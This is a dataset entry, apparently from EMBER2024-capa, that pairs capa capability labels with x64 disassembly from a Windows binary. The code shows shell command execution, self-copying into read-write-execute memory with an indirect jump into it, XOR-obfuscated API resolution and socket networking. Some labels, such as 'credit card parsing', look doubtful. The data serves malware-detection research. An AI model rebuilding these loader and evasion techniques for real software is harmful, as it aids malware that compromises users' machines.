joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009980
Capabilities:
Execute command
Execute shellcode via indirect call

Disassembly:
jmp 0x14000abb0
push rbx
sub rsp, 0x20
cmp qword [0x14008eb70], 0xf
lea rcx, [0x14008eb58]
cmova rcx, qword [0x14008eb58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rbx, rax
call fcn.14000a920
test al, al
je 0x14000ac84
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.14000a120
mov r9d, 0x40
mov edx, eax
mov r8d, 0x3000
mov esi, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000ac6d
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [0x14000a210]
mov rdx, rdi
sub rdx, rbx
mov rcx, rdi
add rdx, rax
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.14000a6e0
nop dword [rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000ac60
cmp rbx, 1
jne 0x14000ac78
call fcn.140009990
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret

Function at 0x1400099a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov r10d, dword [0x140090050]
mov rbp, rcx
mov rax, qword gs:[0x58]
mov rbx, r9
mov ecx, 4
mov rdi, r8
mov esi, edx
mov rax, qword [rax + r10*8]
mov eax, dword [rcx + rax]
cmp dword [0x14008eb30], eax
jg 0x140009a8f
mov r10, qword [0x14008eb28]
test r10, r10
je 0x140009a26
mov rax, qword [rsp + 0xa0]
mov r9, rbx
mov qword [rsp + 0x30], rax
mov r8, rdi
mov eax, dword [rsp + 0x98]
mov edx, esi
mov dword [rsp + 0x28], eax
mov rcx, rbp
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x20], eax
call r10
jmp 0x140009a36
mov ecx, 0x7f
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0xc000007a
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
lea edx, [rax - 0x4d]
xor byte [rsp + rax + 0x40], dl
inc rax
cmp rax, 0xf
jb 0x140009a50
mov rcx, qword [0x14008eb20]
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x50], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14008eb30]
mov qword [0x14008eb28], rax
call fcn.1400596c4
jmp 0x1400099e7
lea rcx, [0x14008eb30]
call fcn.140059730
cmp dword [0x14008eb30], 0xffffffff
jne 0x1400099e7
movdqa xmm0, xmmword [0x14006cdf0]
xor eax, eax
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], 1
jmp 0x140009a50
Function at 0x140009ac0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov r10d, dword [0x140090050]
mov rbp, rcx
mov rax, qword gs:[0x58]
mov rbx, r9
mov ecx, 4
mov rdi, r8
mov rsi, rdx
mov rax, qword [rax + r10*8]
mov eax, dword [rcx + rax]
cmp dword [0x14008eb40], eax
jg 0x140009bdf
mov r10, qword [0x14008eb38]
test r10, r10
je 0x140009b6d
mov eax, dword [rsp + 0xc8]
mov r9, rbx
mov dword [rsp + 0x48], eax
mov r8, rdi
mov eax, dword [rsp + 0xc0]
mov rdx, rsi
mov dword [rsp + 0x40], eax
mov rcx, rbp
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
call r10
jmp 0x140009b7d
mov ecx, 0x7f
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0xc000007a
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea edx, [rax - 0x4d]
xor byte [rsp + rax + 0x50], dl
inc rax
cmp rax, 0x12
jb 0x140009ba0
mov rcx, qword [0x14008eb20]
lea rdx, [rsp + 0x50]
mov byte [rsp + 0x63], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14008eb40]
mov qword [0x14008eb38], rax
call fcn.1400596c4
jmp 0x140009b08
lea rcx, [0x14008eb40]
call fcn.140059730
cmp dword [0x14008eb40], 0xffffffff
jne 0x140009b08
movdqa xmm0, xmmword [0x14006ce00]
xor eax, eax
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x100aaac
jmp 0x140009ba0

Function at 0x140009c20
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov r10d, dword [0x140090050]
mov rbp, rcx
mov rax, qword gs:[0x58]
mov ebx, r9d
mov ecx, 4
mov rdi, r8
mov rsi, rdx
mov rax, qword [rax + r10*8]
mov eax, dword [rcx + rax]
cmp dword [0x14008eb50], eax
jg 0x140009cff
mov r10, qword [0x14008eb48]
test r10, r10
je 0x140009c92
mov rax, qword [rsp + 0x80]
mov r9d, ebx
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbp
call r10
jmp 0x140009ca2
mov ecx, 0x7f
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0xc000007a
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
lea edx, [rax - 0x4d]
xor byte [rsp + rax + 0x30], dl
inc rax
cmp rax, 0x16
jb 0x140009cc0
mov rcx, qword [0x14008eb20]
lea rdx, [rsp + 0x30]
mov byte [rsp + 0x47], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14008eb50]
mov qword [0x14008eb48], rax
call fcn.1400596c4
jmp 0x140009c68
lea rcx, [0x14008eb50]
call fcn.140059730
cmp dword [0x14008eb50], 0xffffffff
jne 0x140009c68
movdqa xmm0, xmmword [0x14006ce10]
xor eax, eax
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xa9a8a18e
mov dword [rsp + 0x44], 0x100b1b5
jmp 0x140009cc0
Function at 0x140009f00
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rdx
test rcx, rcx
je 0x14000a0a3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000a0a3
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14000a0a3
mov edx, 0x20b
cmp word [rax + rcx + 0x18], dx
jne 0x14000a0a3
mov qword [rbx], rcx
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
mov qword [rsp + 0x40], rdi
mov qword [rbx + 8], rcx
xor edi, edi
mov qword [rsp + 0x48], r14
lea rax, [rcx + 0x18]
mov qword [rbx + 0x18], rax
lea rdx, [rcx + 4]
mov qword [rbx + 0x10], rdx
lea rax, [rcx + 0x88]
mov qword [rbx + 0x20], rax
lea r14, [rcx + 0x18]
lea rax, [rcx + 0x90]
mov qword [rbx + 0x28], rax
lea rax, [rcx + 0x98]
mov qword [rbx + 0x30], rax
lea rax, [rcx + 0xa0]
mov qword [rbx + 0x38], rax
lea rax, [rcx + 0xa8]
mov qword [rbx + 0x40], rax
lea rax, [rcx + 0xb0]
mov qword [rbx + 0x48], rax
lea rax, [rcx + 0xb8]
mov qword [rbx + 0x50], rax
lea rax, [rcx + 0xc0]
mov qword [rbx + 0x58], rax
lea rax, [rcx + 0xc8]
mov qword [rbx + 0x60], rax
lea rax, [rcx + 0xd0]
mov qword [rbx + 0x68], rax
lea rax, [rcx + 0xd8]
mov qword [rbx + 0x70], rax
lea rax, [rcx + 0xe0]
mov qword [rbx + 0x78], rax
lea rax, [rcx + 0xe8]
mov qword [rbx + 0x80], rax
lea rax, [rcx + 0xf0]
mov qword [rbx + 0x88], rax
lea rax, [rcx + 0xf8]
mov qword [rbx + 0x90], rax
lea rax, [rcx + 0x100]
mov qword [rbx + 0x98], rax
movzx eax, word [rcx + 0x14]
add r14, rax
cmp di, word [rdx + 2]
jae 0x14000a091
mov qword [rsp + 0x38], rsi
nop dword [rax]
mov rdx, qword [rbx + 0xa8]
movsxd rax, edi
lea rcx, [rax + rax*4]
lea rax, [r14 + rcx*8]
mov qword [rsp + 0x30], rax
cmp rdx, qword [rbx + 0xb0]
je 0x14000a06d
mov qword [rdx], rax
add qword [rbx + 0xa8], 8
jmp 0x14000a07e
lea r8, [rsp + 0x30]
lea rcx, [rbx + 0xa0]
call fcn.140009d40
mov rax, qword [rbx + 0x10]
inc edi
movzx ecx, word [rax + 2]
cmp edi, ecx
jl 0x14000a040
mov rsi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x48]
mov al, 1
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop rbx
ret
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14000a120
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x14000a14d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000a14d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14000a14d
mov edx, 0x20b
cmp word [rax + rcx + 0x18], dx
jne 0x14000a14d
mov eax, dword [rax + rcx + 0x50]
ret
xor eax, eax
ret
Function at 0x14000a6e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
xor r15d, r15d
mov qword [rbp], r15
lea rdx, [rsp + 0x50]
call fcn.140009f00
test al, al
je 0x14000a8b5
mov dword [rsp + 0x30], 0x110d1348
mov word [rsp + 0x34], 0x1e
mov byte [rsp + 0x36], 1
mov eax, r15d
nop word [rax + rax]
lea ecx, [rax + 0x66]
xor byte [rsp + rax + 0x30], cl
inc rax
cmp rax, 5
jb 0x14000a750
mov byte [rsp + 0x36], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0b0
mov rsi, rax
mov dword [rsp + 0x38], 0x80c1548
mov dword [rsp + 0x3c], 0x1000a1e
mov rdx, r15
nop word [rax + rax]
lea ecx, [rdx + 0x66]
xor byte [rsp + rdx + 0x38], cl
inc rdx
cmp rdx, 6
jb 0x14000a790
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14000a0b0
mov r14, rax
test rsi, rsi
je 0x14000a8b5
cmp rsi, rax
jae 0x14000a8b5
mov dword [rbp + 0x20], 1
mov dword [rbp + 0x24], 2
mov dword [rbp + 0x28], 4
mov dword [rbp + 0x2c], 8
mov dword [rbp + 0x30], reloc.WS2_32.dll_recv
mov dword [rbp + 0x34], 0x20
mov dword [rbp + 0x38], 0x40
mov dword [rbp + 0x3c], 0x80
mov dword [rbp + 0x40], 0x100
mov dword [rbp + 0x44], 0x200
mov dword [rbp + 0x48], 0x400
mov dword [rbp + 0x4c], 0x80000000
lea rdi, [rbp + 0x20]
mov edx, dword [rsi + 8]
add edx, 0x1000
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x18], rcx
mov qword [rsp + 0x40], rdx
mov dword [rbp + 0x10], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, dword [rdi]
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x18]
call fcn.140009c20
mov edx, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
mov rax, qword [rsp + 0x68]
add rcx, qword [rax + 0x18]
mov qword [rsp + 0x40], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x10], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, dword [rdi]
lea r8, [rbp + 0x18]
lea rdx, [rsp + 0x40]
call fcn.140009c20
add rdi, 4
lea rax, [rbp + 0x50]
cmp rdi, rax
jne 0x14000a821
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14000a8f6
mov rdx, qword [rbp]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a8f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005913c
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140059490
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000a920
Capabilities:
Encode data using xor
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
xor ebx, ebx
mov qword [rbp - 0x20], rbx
lea rdx, [rsp + 0x30]
call fcn.140009f00
test al, al
je 0x14000aa5e
mov dword [rsp + 0x20], 0x110d1348
mov word [rsp + 0x24], 0x1e
mov byte [rsp + 0x26], 1
mov ecx, ebx
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 5
jb 0x14000a980
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.14000a0b0
mov rsi, rax
mov dword [rsp + 0x28], 0x80c1548
mov dword [rsp + 0x2c], 0x1000a1e
mov rdx, rbx
nop word [rax + rax]
lea ecx, [rdx + 0x66]
xor byte [rsp + rdx + 0x28], cl
inc rdx
cmp rdx, 6
jb 0x14000a9c0
mov byte [rsp + 0x2f], 0
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x30]
call fcn.14000a0b0
mov rdi, rax
mov dword [rsp + 0x20], 0x1d090348
mov word [rsp + 0x24], ntohs
mov byte [rsp + 0x26], 1
nop dword [rax + rax]
lea ecx, [rbx + 0x66]
xor byte [rsp + rbx + 0x20], cl
inc rbx
cmp rbx, 5
jb 0x14000aa00
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.14000a0b0
mov rbx, rax
test rsi, rsi
je 0x14000aa5e
cmp rsi, rdi
jae 0x14000aa5e
cmp rdi, rax
jae 0x14000aa5e
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov eax, dword [rdi + 0xc]
mov rcx, qword [rbp + 0x18]
div ecx
test edx, edx
jne 0x14000aa5e
xor edx, edx
mov eax, dword [rbx + 0xc]
div ecx
test edx, edx
jne 0x14000aa5e
mov bl, 1
jmp 0x14000aa60
xor bl, bl
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000aaa1
mov rdx, qword [rbp - 0x20]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aa9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005913c
movzx eax, bl
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140059490
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000abb0
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call

Disassembly:
jmp 0x14000abb0
push rbx
sub rsp, 0x20
cmp qword [0x14008eb70], 0xf
lea rcx, [0x14008eb58]
cmova rcx, qword [0x14008eb58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rbx, rax
call fcn.14000a920
test al, al
je 0x14000ac84
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.14000a120
mov r9d, 0x40
mov edx, eax
mov r8d, 0x3000
mov esi, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000ac6d
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [0x14000a210]
mov rdx, rdi
sub rdx, rbx
mov rcx, rdi
add rdx, rax
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.14000a6e0
nop dword [rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000ac60
cmp rbx, 1
jne 0x14000ac78
call fcn.140009990
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
Function at 0x140013aa4
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x140013af0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013acc
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x140013b10
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x140013b5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013b30
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140013b74
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x140013bbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013b94
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140013bd8
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x140013c24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013c00
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x140013c44
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov ecx, dword [r15]
mov r9, rsi
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov rdx, r14
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x140013c9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140013c6f
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x140020e74
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov dword [rax + 8], 1
mov rbx, r8
mov rdi, rcx
mov rcx, rsi
lea r8, [rax + 8]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x140020f05
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x140020ede
mov rax, qword [rdi + 8]
mov dword [rax], 2
xor al, al
jmp 0x140020fc9
mov r8, qword [rdi + 0x18]
mov rcx, rsi
mov rdx, qword [rdi + 0x10]
mov r8, qword [r8]
mov rdx, qword [rdx]
call fcn.1400353bc
mov ecx, eax
mov rax, qword [rdi + 8]
mov dword [rax], ecx
mov rax, qword [rdi + 8]
cmp dword [rax], 0
jne 0x140020ed7
and dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rdi + 0x28]
lea r9, [rsp + 0x40]
movabs r14, 0x20c49ba5e353f7cf
mov dword [rsp + 0x20], 4
mov ebx, 0xffff
mov r8d, 0x1006
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, qword [rdi + 0x20]
imul ecx, dword [rax], 0x3e8
add edx, ecx
mov rcx, rsi
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rdi + 0x38]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], 4
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
mov rcx, qword [rdi + 0x30]
imul r8d, dword [rcx], 0x3e8
mov rcx, rsi
add edx, r8d
mov r8d, 0x1005
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
mov al, 1
and dword [rcx], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x1400249fc
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x140024b89
cmp ecx, 0x7c
je 0x140024b89
cmp ecx, 0x29
jne 0x140024a76
cmp dword [rdi + 0x1c], 0
jne 0x140024b89
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x140024ba2
cmp ecx, 0x5d
jne 0x140024a53
test dword [rbx], 0x10000000
je 0x140024bb0
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.140023ff0
mov rcx, rdi
call fcn.140028ac0
mov rcx, rdi
call fcn.140028b34
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x140024a0e
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x140024a8d
lea rcx, [rdi + 0x40]
call fcn.140024278
jmp 0x140024a5f
cmp ecx, 0x5c
jne 0x140024adb
mov rcx, rdi
call fcn.140028ac0
test byte [rbx], 0x80
je 0x140024ad1
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x140024ab9
lea rcx, [rdi + 0x40]
call fcn.1400249f0
mov rcx, rdi
call fcn.140028ac0
jmp 0x140024a6f
cmp al, 0x42
jne 0x140024ad1
lea rcx, [rdi + 0x40]
call fcn.1400249f0
lea rcx, [rdi + 0x40]
call fcn.140028a5c
jmp 0x140024aaf
mov rcx, rdi
call fcn.140024bcc
jmp 0x140024a67
cmp ecx, 0x5b
jne 0x140024b06
mov rcx, rdi
call fcn.140028ac0
mov rcx, rdi
call fcn.1400255d4
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.1400272b0
jmp 0x140024a67
cmp ecx, 0x28
jne 0x140024b3b
mov rcx, rdi
call fcn.140028ac0
mov rcx, rdi
call fcn.1400292e8
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.1400272b0
test bl, bl
je 0x140024a6f
jmp 0x140024a67
cmp ecx, 0x5e
jne 0x140024b4e
lea rcx, [rdi + 0x40]
call fcn.140023fe4
jmp 0x140024aaf
cmp ecx, 0x24
jne 0x140024b61
lea rcx, [rdi + 0x40]
call fcn.140024378
jmp 0x140024aaf
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x140024bbe
cmp ecx, 0x3f
je 0x140024bbe
cmp ecx, 0x7b
je 0x140024bbe
cmp ecx, 0x7d
jne 0x140024a42
test dword [rbx], 0x10000000
je 0x140024b94
jmp 0x140024a53
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.1400272a4
int3
mov edx, 5
mov rcx, rdi
call fcn.1400272a4
int3
mov edx, 4
mov rcx, rdi
call fcn.1400272a4
int3
mov edx, 0xa
mov rcx, rdi
call fcn.1400272a4
int3